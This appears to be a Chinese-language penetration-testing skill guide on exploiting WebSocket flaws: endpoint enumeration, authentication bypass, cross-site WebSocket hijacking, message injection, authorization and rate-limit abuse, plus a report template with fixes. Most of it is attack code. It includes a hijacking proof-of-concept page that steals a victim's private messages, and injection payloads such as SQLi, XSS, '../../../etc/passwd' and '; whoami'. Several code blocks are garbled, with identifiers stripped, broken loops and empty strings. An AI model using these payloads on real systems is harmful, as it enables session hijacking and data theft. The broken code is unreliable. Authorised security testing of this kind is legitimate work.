| name | exploiting-websocket-vulnerabilities |
| description | 在授权安全评估中测试 WebSocket 实现的身份验证绕过、跨站劫持、注入攻击和不安全消息处理。 |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["penetration-testing","websocket","web-security","owasp","real-time","burpsuite"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
利用 WebSocket 漏洞（Exploiting WebSocket Vulnerabilities）
适用场景
- 在授权渗透测试中，当应用程序使用 WebSocket 连接实现实时功能时
- 评估聊天应用程序、实时通知、交易平台或协作编辑工具时
- 测试 WebSocket API 端点的身份验证和授权缺陷时
- 评估实时数据流中的注入漏洞时
- 对使用 Socket.IO、SignalR 或原生 WebSocket API 的应用程序进行安全评估时
前置条件
- 授权：包含 WebSocket 测试范围的书面渗透测试协议
- Burp Suite Professional：具备 WebSocket 拦截功能
- 浏览器 DevTools：用于 WebSocket 帧检查的网络标签
- websocat：命令行 WebSocket 客户端（
cargo install websocat）
- wscat：Node.js WebSocket 客户端（
npm install -g wscat）
- Python websockets：用于编写自定义 WebSocket 攻击脚本（
pip install websockets）
工作流程
步骤 1：发现并枚举 WebSocket 端点
识别应用程序中的 WebSocket 连接。
curl -s -I \
-H "Upgrade: websocket" \
-H "Connection: Upgrade" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
-H "Sec-WebSocket-Version: 13" \
"https://target.example.com/ws"
for path in /ws /websocket /socket /socket.io /signalr /hub \
/chat /notifications /live /stream /realtime /api/ws; do
echo -n "$path: "
status=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Upgrade: websocket" \
-H "Connection: Upgrade" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
-H "Sec-WebSocket-Version: 13" \
"https://target.example.com$path")
echo "$status"
done
curl -s "https://target.example.com/socket.io/?EIO=4&transport=polling"
curl -s "https://target.example.com/signalr/negotiate"
步骤 2：测试 WebSocket 身份验证
验证 WebSocket 连接是否需要正确的身份验证。
wscat -c "wss://target.example.com/ws"
wscat -c "wss://target.example.com/ws" \
-H "Cookie: session=invalid_or_expired_token"
wscat -c "wss://target.example.com/ws" \
-H "Cookie: session=valid_session_from_another_user"
wscat -c "wss://target.example.com/ws?token=invalid_token"
python3 << 'PYEOF'
import asyncio
import websockets
async def test_no_auth():
try:
async with websockets.connect("wss://target.example.com/ws") as ws:
print("无需认证即可连接！")
await ws.send('{"type":"get_data","resource":"users"}')
response = await ws.recv()
print(f"响应：{response}")
except Exception as e:
print(f"连接失败：{e}")
asyncio.run(test_no_auth())
PYEOF
步骤 3：测试跨站 WebSocket 劫持（CSWSH）
检查 WebSocket 握手是否容易受到跨站攻击。
curl -s -I \
-H "Upgrade: websocket" \
-H "Connection: Upgrade" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
-H "Sec-WebSocket-Version: 13" \
-H "Origin: https://evil.example.com" \
"https://target.example.com/ws"
<html>
<head><title>CSWSH PoC</title></head>
<body>
<h1>跨站 WebSocket 劫持</h1>
<div id="messages"></div>
<script>
var ws = new WebSocket("wss://target.example.com/ws");
ws.onopen = function() {
console.log("WebSocket 已连接（使用受害者的会话）");
ws.send(JSON.stringify({type: "get_messages", channel: "private"}));
ws.send(JSON.stringify({type: "get_profile"}));
};
ws.onmessage = function(event) {
console.log("数据已窃取：" + event.);
.(). += event. + ;
(, {
: ,
: event.
});
};
ws. = () {
.( + error);
};
步骤 4：测试 WebSocket 消息注入
评估 WebSocket 消息中的注入漏洞。
wscat -c "wss://target.example.com/ws" \
-H "Cookie: session=valid_session_token"
python3 << 'PYEOF'
import asyncio
import websockets
import json
PAYLOADS = [
{"action": "search", "query": "' OR 1=1--"},
{"action": "search", "query": "<script>alert(1)</script>"},
{"action": "search", "query": "{{7*7}}"},
{"action": "search", "query": "${7*7}"},
{"action": "read", "file": "../../../etc/passwd"},
{"action": "exec", "cmd": "; whoami"},
]
async def test_injections():
async with websockets.connect(
"wss://target.example.com/ws",
extra_headers={: }
) as ws:
payload PAYLOADS:
await ws.send(json.dumps(payload))
try:
response = await asyncio.wait_for(ws.recv(), =5)
(f)
(f)
except asyncio.TimeoutError:
(f)
asyncio.run(test_injections())
PYEOF
步骤 5：测试 WebSocket 授权和速率限制
检查是否强制执行消息级授权和滥用控制。
python3 << 'PYEOF'
import asyncio
import websockets
import json
async def test_authz():
async with websockets.connect(
"wss://target.example.com/ws",
extra_headers={"Cookie": "session=user_a_session"}
) as ws:
messages = [
{"type": "subscribe", "channel": "user_b_private"},
{"type": "get_history", "user_id": "user_b_id"},
{"type": "admin_action", "action": "list_users"},
{"type": "send_message", "to": "admin", "as": "admin"},
]
for msg in messages:
await ws.send(json.dumps(msg))
try:
response = await asyncio.wait_for(ws.recv(), timeout=5)
print(f"发送：{json.dumps(msg)}")
print(f"收到：{response}\n")
except asyncio.TimeoutError:
print(f"无响应：{json.dumps(msg)}\n")
asyncio.run(test_authz())
PYEOF
python3 << 'PYEOF'
import asyncio
import websockets
import json
import time
async def test_rate_limit():
async with websockets.connect(
"wss://target.example.com/ws",
extra_headers={"Cookie": "session=valid_token"}
) as ws:
start = time.time()
for i range(1000):
await ws.send(json.dumps({
: ,
: f
}))
elapsed = time.time() - start
(f)
()
asyncio.run(test_rate_limit())
PYEOF
步骤 6：测试 WebSocket 加密和协议安全
验证传输安全和协议级别的保护。
curl -s "https://target.example.com/" | grep -oP "ws://[^\"']+"
wscat -c "wss://target.example.com/ws" \
-H "Sec-WebSocket-Protocol: admin-protocol"
curl -s -I \
-H "Upgrade: websocket" \
-H "Connection: Upgrade" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Extensions: permessage-deflate" \
"https://target.example.com/ws" | grep -i "sec-websocket-extensions"
核心概念
| 概念 | 定义 |
|---|
| WebSocket 握手 | 将连接从 HTTP 升级到 WebSocket 协议的 HTTP 升级请求 |
| CSWSH | 跨站 WebSocket 劫持（Cross-Site WebSocket Hijacking）——利用缺失的 Origin 验证劫持会话 |
| Origin 验证（Origin Validation） | 服务器端检查，确认 WebSocket 升级请求来自可信来源 |
| 消息级授权（Message-level Authorization） | 验证每条 WebSocket 消息的权限，而非仅在连接时验证 |
| WSS | 安全 WebSocket（WebSocket Secure）——通过 TLS 加密的 WebSocket 连接（相当于 HTTPS） |
| Socket.IO | 流行的 WebSocket 库，自动回退到 HTTP 长轮询 |
| Ping/Pong 帧 | WebSocket 心跳机制，可被滥用于时序攻击 |
工具与系统
| 工具 | 用途 |
|---|
| Burp Suite Professional | WebSocket 拦截、修改和历史分析 |
| wscat | 用于手动测试的命令行 WebSocket 客户端 |
| websocat | 用 Rust 编写的多功能命令行 WebSocket 客户端 |
| 浏览器 DevTools | 用于检查 WebSocket 帧的网络标签 WS 过滤器 |
| Socket.IO Client | 测试基于 Socket.IO 的 WebSocket 实现 |
| Python websockets | 编写自动化 WebSocket 攻击序列脚本 |
常见场景
场景 1：聊天应用程序 CSWSH
实时聊天应用程序在 WebSocket 握手期间验证用户的 Cookie，但不检查 Origin 头。攻击者托管一个页面，打开到聊天服务器的 WebSocket，窃取受害者的私人消息。
场景 2：交易平台消息注入
交易平台处理包含订单参数的 WebSocket 消息。订单消息 symbol 字段中的 SQL 注入允许通过基于错误的 SQLi 提取整个订单数据库。
场景 3：缺少消息授权
协作工具在 WebSocket 连接时检查用户身份验证，但不验证单个消息的授权。连接后，普通用户发送管理员级别的命令来删除工作区和导出用户数据。
场景 4：通知频道 IDOR
通知系统通过包含频道 ID 的 WebSocket 消息将用户订阅到频道。更改频道 ID 允许任何用户订阅其他用户的私人通知频道。
输出格式
## WebSocket 安全评估报告
**漏洞**：跨站 WebSocket 劫持（CSWSH）
**严重性**：高（CVSS 8.1）
**位置**：wss://target.example.com/ws
**OWASP 类别**：A01:2021 - 访问控制失效
### WebSocket 配置
| 属性 | 值 |
|----------|-------|
| 协议 | WSS（加密） |
| 库 | Socket.IO 4.x |
| 认证 | 基于 Cookie 的会话 |
| Origin 验证 | 未强制执行 |
| 消息授权 | 未强制执行 |
| 速率限制 | 未实现 |
### 发现
| 发现 | 严重性 |
|---------|----------|
| CSWSH — 无 Origin 验证 | 高 |
| 缺少消息级授权 | 高 |
| 通过聊天消息注入的 XSS | 中 |
| 消息无速率限制 | 中 |
| 频道 IDOR（可订阅任意频道） | 高 |
| 登出后 WebSocket 仍保持开放 | 中 |
### 影响
- 通过 CSWSH 泄露私人消息
- 通过未授权消息发送实现账户冒充
- 影响所有用户的跨频道数据访问
- 通过消息洪泛实现 DoS（无速率限制）
### 修复建议
1. 在 WebSocket 握手期间验证 Origin 头
2. 在 WebSocket 升级请求中实现 CSRF 令牌
3. 对每条 WebSocket 消息强制执行授权检查
4. 清理 WebSocket 消息中的所有用户输入（防止 XSS/SQLi）
5. 按连接实施消息速率限制
6. 在登出或会话过期时使 WebSocket 连接失效
7. 使用每条消息的认证令牌，而非仅依赖初始握手
